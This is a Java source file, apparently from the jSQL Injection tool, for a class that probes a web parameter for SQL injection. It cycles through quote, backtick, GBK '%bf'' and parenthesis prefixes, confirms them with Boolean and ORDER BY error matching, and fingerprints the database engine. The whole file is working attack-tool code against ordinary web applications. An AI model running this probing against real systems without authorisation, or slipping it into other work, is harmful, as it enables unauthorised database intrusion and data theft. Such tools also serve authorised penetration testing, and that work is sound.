View Javadoc
1   package com.jsql.model.suspendable;
2   
3   import com.jsql.model.InjectionModel;
4   import com.jsql.view.subscriber.Seal;
5   import com.jsql.model.exception.JSqlException;
6   import com.jsql.model.exception.StoppedByUserSlidingException;
7   import com.jsql.model.injection.strategy.blind.InjectionCharInsertion;
8   import com.jsql.model.injection.engine.MediatorEngine;
9   import com.jsql.model.injection.engine.model.Engine;
10  import com.jsql.model.suspendable.callable.CallablePageSource;
11  import com.jsql.util.I18nUtil;
12  import com.jsql.util.LogLevelUtil;
13  import org.apache.commons.lang3.RandomStringUtils;
14  import org.apache.commons.lang3.StringUtils;
15  import org.apache.logging.log4j.LogManager;
16  import org.apache.logging.log4j.Logger;
17  
18  import java.util.*;
19  import java.util.concurrent.CompletionService;
20  import java.util.concurrent.ExecutionException;
21  import java.util.concurrent.ExecutorCompletionService;
22  import java.util.concurrent.ExecutorService;
23  import java.util.regex.Pattern;
24  import java.util.stream.Stream;
25  
26  /**
27   * Runnable class, define insertionCharacter to be used during injection,
28   * i.e -1 in "...php?id=-1 union select...", sometimes it's -1, 0', 0, etc.
29   * Find working insertion char when error message occurs in source.
30   * Force to 1 if no insertion char works and empty value from user,
31   * Force to user's value if no insertion char works,
32   * Force to insertion char otherwise.
33   */
34  public class SuspendableGetCharInsertion extends AbstractSuspendable {
35      
36      private static final Logger LOGGER = LogManager.getRootLogger();
37  
38      private static final String LABEL_PREFIX = "prefix";
39  
40      public SuspendableGetCharInsertion(InjectionModel injectionModel) {
41          super(injectionModel);
42      }
43  
44      @Override
45      public String run(Input input) throws JSqlException {
46          String characterInsertionByUser = input.payload();
47          
48          ExecutorService taskExecutor = this.injectionModel.getMediatorUtils().threadUtil().getExecutor("CallableGetInsertionCharacter");
49          CompletionService<CallablePageSource> taskCompletionService = new ExecutorCompletionService<>(taskExecutor);
50  
51          var charFromBooleanMatch = new String[1];
52          List<String> charactersInsertion = this.initCallables(taskCompletionService, charFromBooleanMatch);
53          
54          var mediatorEngine = this.injectionModel.getMediatorEngine();
55          LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "Fingerprinting database and character insertion with Order by match...");
56  
57          String charFromOrderBy = null;
58          
59          int total = charactersInsertion.size();
60          while (0 < total) {
61              if (this.isSuspended()) {
62                  throw new StoppedByUserSlidingException();
63              }
64              try {
65                  CallablePageSource currentCallable = taskCompletionService.take().get();
66                  total--;
67                  String pageSource = currentCallable.getContent();
68                  
69                  List<Engine> enginesOrderByMatches = this.getEnginesOrderByMatch(mediatorEngine, pageSource);
70                  if (!enginesOrderByMatches.isEmpty()) {
71                      if (this.injectionModel.getMediatorEngine().getEngineByUser() == this.injectionModel.getMediatorEngine().getAuto()) {
72                          this.setEngine(mediatorEngine, enginesOrderByMatches);
73  
74                          LOGGER.log(LogLevelUtil.CONSOLE_INFORM, "Using [{}]", mediatorEngine.getEngine());
75                          this.injectionModel.sendToViews(new Seal.ActivateEngine(mediatorEngine.getEngine()));
76                      }
77                      
78                      charFromOrderBy = currentCallable.getCharacterInsertion();
79                      LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, "Character insertion [{}] matching with Order by and compatible with Error strategy", charFromOrderBy);
80                      break;
81                  }
82              } catch (InterruptedException e) {
83                  LOGGER.log(LogLevelUtil.IGNORE, e, e);
84                  Thread.currentThread().interrupt();
85              } catch (ExecutionException e) {
86                  LOGGER.log(LogLevelUtil.CONSOLE_JAVA, e, e);
87              }
88          }
89          this.injectionModel.getMediatorUtils().threadUtil().shutdown(taskExecutor);
90          if (charFromOrderBy == null && charFromBooleanMatch[0] != null) {
91              charFromOrderBy = charFromBooleanMatch[0];
92          }
93          return this.getCharacterInsertion(characterInsertionByUser, charFromOrderBy);
94      }
95  
96      private void setEngine(MediatorEngine mediatorEngine, List<Engine> enginesOrderByMatches) {
97          if (
98              enginesOrderByMatches.size() == 1
99              && enginesOrderByMatches.getFirst() != mediatorEngine.getEngine()
100         ) {
101             mediatorEngine.setEngine(enginesOrderByMatches.getFirst());
102         } else if (enginesOrderByMatches.size() > 1) {
103             if (enginesOrderByMatches.contains(mediatorEngine.getPostgres())) {
104                 mediatorEngine.setEngine(mediatorEngine.getPostgres());
105             } else if (enginesOrderByMatches.contains(mediatorEngine.getMysql())) {
106                 mediatorEngine.setEngine(mediatorEngine.getMysql());
107             } else {
108                 mediatorEngine.setEngine(enginesOrderByMatches.getFirst());
109             }
110         }
111     }
112 
113     private List<Engine> getEnginesOrderByMatch(MediatorEngine mediatorEngine, String pageSource) {
114         return mediatorEngine.getEnginesForFingerprint()
115             .stream()
116             .filter(engine -> engine != mediatorEngine.getAuto())
117             .filter(engine -> StringUtils.isNotEmpty(
118                 engine.instance().getModelYaml().getStrategy().getConfiguration().getFingerprint().getOrderByErrorMessage()
119             ))
120             .filter(engine -> {
121                 Optional<String> optionalOrderByErrorMatch = Stream.of(
122                     engine.instance().getModelYaml().getStrategy().getConfiguration().getFingerprint().getOrderByErrorMessage()
123                     .split("[\\r\\n]+")
124                 )
125                 .filter(errorMessage ->
126                     Pattern
127                     .compile(".*" + errorMessage + ".*", Pattern.DOTALL)
128                     .matcher(pageSource)
129                     .matches()
130                 )
131                 .findAny();
132                 if (optionalOrderByErrorMatch.isPresent()) {
133                     LOGGER.log(
134                         LogLevelUtil.CONSOLE_SUCCESS,
135                         String.format("Order by fingerprint matching vendor [%s]", engine)
136                     );
137                 }
138                 return optionalOrderByErrorMatch.isPresent();
139             })
140             .toList();
141     }
142 
143     private List<String> initCallables(CompletionService<CallablePageSource> taskCompletionService, String[] charFromBooleanMatch) throws JSqlException {
144         List<String> prefixValues = Arrays.asList(
145             RandomStringUtils.secure().next(10, "012"),  // to trigger probable failure
146             "1"  // to trigger eventual success
147         );
148         List<String> prefixQuotes = Arrays.asList(
149             SuspendableGetCharInsertion.LABEL_PREFIX +"'",
150             SuspendableGetCharInsertion.LABEL_PREFIX,
151             SuspendableGetCharInsertion.LABEL_PREFIX +"`",  // TODO add ITs
152             SuspendableGetCharInsertion.LABEL_PREFIX +"\"",
153             SuspendableGetCharInsertion.LABEL_PREFIX +"%bf'"  // GBK slash encoding use case
154         );
155         List<String> prefixParentheses = Arrays.asList(StringUtils.EMPTY, ")", "))");
156         List<String> charactersInsertion = new ArrayList<>();
157         LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "Fingerprinting character insertion with Boolean match...");
158         for (String prefixValue: prefixValues) {
159             for (String prefixQuote: prefixQuotes) {
160                 for (String prefixParenthesis: prefixParentheses) {
161                     this.checkInsertionChar(charFromBooleanMatch, charactersInsertion, prefixValue, prefixQuote, prefixParenthesis);
162                 }
163             }
164         }
165         for (String characterInsertion: charactersInsertion) {
166             taskCompletionService.submit(
167                 new CallablePageSource(
168                     characterInsertion
169                     + StringUtils.SPACE  // covered by cleaning
170                     + this.injectionModel.getMediatorEngine().getEngine().instance().sqlOrderBy(),
171                     characterInsertion,
172                     this.injectionModel,
173                     "prefix#orderby"
174                 )
175             );
176         }
177         return charactersInsertion;
178     }
179 
180     private void checkInsertionChar(
181         String[] charFromBooleanMatch,
182         List<String> charactersInsertion,
183         String prefixValue,
184         String prefixQuote,
185         String prefixParenthesis
186     ) throws StoppedByUserSlidingException {
187         String characterInsertion = prefixQuote.replace(SuspendableGetCharInsertion.LABEL_PREFIX, prefixValue) + prefixParenthesis;
188         charactersInsertion.add(characterInsertion);
189         // Skipping Boolean match when already found
190         if (charFromBooleanMatch[0] == null) {
191             var injectionCharInsertion = new InjectionCharInsertion(
192                 this.injectionModel,
193                 characterInsertion,
194                 prefixQuote + prefixParenthesis
195             );
196             if (injectionCharInsertion.isInjectable()) {
197                 if (this.isSuspended()) {
198                     throw new StoppedByUserSlidingException();
199                 }
200                 charFromBooleanMatch[0] = characterInsertion;
201                 LOGGER.log(
202                     LogLevelUtil.CONSOLE_SUCCESS,
203                     "Found character insertion [{}] using Boolean match",
204                     () -> charFromBooleanMatch[0]
205                 );
206             }
207         }
208     }
209     
210     private String getCharacterInsertion(String characterInsertionByUser, String characterInsertionDetected) {
211         String characterInsertionDetectedFixed = characterInsertionDetected;
212         if (characterInsertionDetectedFixed == null) {
213             characterInsertionDetectedFixed = characterInsertionByUser;
214             String logCharacterInsertion = characterInsertionDetectedFixed;
215             LOGGER.log(
216                 LogLevelUtil.CONSOLE_ERROR,
217                 "No character insertion found, forcing to [{}]",
218                 () -> logCharacterInsertion.replace(InjectionModel.STAR, StringUtils.EMPTY)
219             );
220         } else if (!characterInsertionByUser.replace(InjectionModel.STAR, StringUtils.EMPTY).equals(characterInsertionDetectedFixed)) {
221             String characterInsertionByUserFormat = characterInsertionByUser.replace(InjectionModel.STAR, StringUtils.EMPTY);
222             LOGGER.log(
223                 LogLevelUtil.CONSOLE_INFORM,
224                 "Using [{}] and matching [{}]",
225                 () -> this.injectionModel.getMediatorEngine().getEngine(),
226                 () -> characterInsertionDetected
227             );
228             LOGGER.log(
229                 LogLevelUtil.CONSOLE_DEFAULT,
230                 "Disable search for char insertion in Preferences to force the value [{}]",
231                 () -> characterInsertionByUserFormat
232             );
233         } else {
234             LOGGER.log(
235                 LogLevelUtil.CONSOLE_INFORM,
236                 "{} [{}]",
237                 () -> I18nUtil.valueByKey("LOG_USING_INSERTION_CHARACTER"),
238                 () -> characterInsertionDetected.replace(InjectionModel.STAR, StringUtils.EMPTY)
239             );
240         }
241         return characterInsertionDetectedFixed;
242     }
243 }